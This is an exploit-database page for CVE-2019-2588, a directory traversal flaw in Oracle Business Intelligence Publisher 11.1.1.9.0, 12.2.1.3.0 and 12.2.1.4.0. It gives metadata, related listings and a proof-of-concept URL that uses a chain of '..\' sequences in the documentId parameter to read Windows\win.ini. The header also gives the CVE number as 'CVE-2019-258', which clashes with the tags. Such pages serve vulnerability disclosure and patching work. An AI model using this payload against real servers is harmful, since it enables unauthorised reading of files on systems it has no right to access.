Exploit for Oracle Business Intelligence Directory Traversal

packetstorm · 2019-04-19

Description

Oracle Business Intelligence Directory Traversal CVE-2019-258

Affected Oracle Business Intelligence Publisher versions

Oracle Business Intelligence Publisher= 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0

All known vulnerabilities by product

Bi Publisher Oracle Fusion Middleware

CVSS Score

N/A

NO SCORE

VectorNONE

EPSS Score

36.8%higher than 98.4% of all CVEs

Updated 2026-08-25

Exploit Details

Modified:2019-04-19 00:00

Last Seen:2019-04-20 03:33

Reporter:Vahagn Vardanyan

Tags

oracle business intelligencedirectory traversalwindowsCVE-2019-2588

Other exploits for CVE-2019-2588

Oracle Business Intelligence 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - Directory Traversal Exploit

2019-04-19 Vahagn VardanyanZDT

Oracle Business Intelligence 11.1.1.9.0 12.2.1.3.0 12.2.1.4.0 - Directory Traversal

2019-04-19 Vahagn VardanyanEXPLOITPACK

Oracle Business Intelligence 11.1.1.9.0 / 12.2.1.3.0 / 12.2.1.4.0 - Directory Traversal

2019-04-19 Vahagn VardanyanEXPLOITDB

Exploit Code

MARKDOWN14 lines

## https://sploitus.com/exploit?id=PACKETSTORM:152572
# Exploit Title: Directory traversal in Oracle Business Intelligence  
# Date: 16.04.19  
# Exploit Author: @vah_13  
# Vendor Homepage: http://oracle.com  
# Software Link:  
https://www.oracle.com/technetwork/middleware/bi-enterprise-edition/downloads/index.html  
# Version: 11.1.1.9.0, 12.2.1.3.0, 12.2.1.4.0  
# Tested on: Windows  
# CVE : CVE-2019-2588  
  
PoC  
  
http://server:9502/xmlpserver/servlet/adfresource?format=aaaaaaaaaaaaaaa&documentId=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\win.ini